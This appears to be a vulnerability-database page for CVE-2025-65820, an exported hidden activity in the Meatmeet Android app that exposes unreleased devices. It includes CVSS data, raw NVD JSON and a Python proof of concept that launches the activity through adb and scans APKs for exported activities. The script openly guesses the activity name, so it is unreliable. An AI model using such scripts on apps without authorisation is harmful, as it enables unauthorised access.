Security Vulnerability Report
中文
CVE-2025-65820 CVSS 9.8 CRITICAL

CVE-2025-65820

Published: 2025-12-10 21:16:08
Last Modified: 2025-12-17 20:03:27

Description

An issue was discovered in Meatmeet Android Mobile Application 1.1.2.0. An exported activity can be spawned with the mobile application which opens a hidden page. This page, which is not available through the normal flows of the application, contains several devices which can be added to your account, two of which have not been publicly released. As a result of this vulnerability, the attacker can gain insight into unreleased Meatmeet devices.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:meatmeet:meatmeet:1.1.2.0:*:*:*:pro:android:*:* - VULNERABLE
Meatmeet Android Mobile Application < 1.1.2.0
Meatmeet Android Mobile Application = 1.1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65820 PoC - Meatmeet Android Hidden Activity Exploitation # This PoC demonstrates how to launch the hidden activity in Meatmeet app from androguard.misc import AnalyzeAPK import subprocess def exploit_meatmeet_hidden_activity(): """ Exploit CVE-2025-65820 by launching the exported hidden activity """ package_name = "com.meatmeet.app" hidden_activity = "com.meatmeet.app.HiddenActivity" # Assumed activity name # Method 1: Using ADB to launch the hidden activity adb_command = f"adb shell am start -n {package_name}/{hidden_activity}" print(f"[*] Executing: {adb_command}") result = subprocess.run(adb_command, shell=True, capture_output=True, text=True) print(f"[+] Result: {result.stdout}") # Method 2: Using Android Intent directly intent_payload = { "action": "android.intent.action.MAIN", "component": f"{package_name}/{hidden_activity}", "flags": ["FLAG_ACTIVITY_NEW_TASK"] } print("\n[*] Hidden Activity Payload:") print(f" Package: {package_name}") print(f" Activity: {hidden_activity}") print(f" Impact: Access to unreleased device information") return intent_payload def analyze_apk_for_vulnerability(apk_path): """ Analyze APK to identify the exported hidden activity """ a, d, dx = AnalyzeAPK(apk_path) print("[*] Analyzing Meatmeet APK for exported activities...") for activity in a.get_activities(): if "hidden" in activity.lower() or "secret" in activity.lower(): print(f"[!] Potential hidden activity found: {activity}") # Check for exported activities for component, value in a.get_components().items(): if 'activity' in component.lower() and value.get('exported'): print(f"[!] Exported Activity: {component}") if __name__ == "__main__": print("="*60) print("CVE-2025-65820 PoC - Meatmeet Information Disclosure") print("="*60) exploit_meatmeet_hidden_activity()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65820", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:07.680", "lastModified": "2025-12-17T20:03:27.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Meatmeet Android Mobile Application 1.1.2.0. An exported activity can be spawned with the mobile application which opens a hidden page. This page, which is not available through the normal flows of the application, contains several devices which can be added to your account, two of which have not been publicly released. As a result of this vulnerability, the attacker can gain insight into unreleased Meatmeet devices."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meatmeet:meatmeet:1.1.2.0:*:*:*:pro:android:*:*", "matchCriteriaId": "5728B254-9D91-4EA1-9C7B-B4957DE1D77D"}]}]}], "references": [{"url": "https://gist.github.com/dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5#file-information-disclosure-md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/dead1nfluence/Meatmeet-Pro-Vulnerabilities/blob/main/Mobile-Application/Information-Disclosure.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}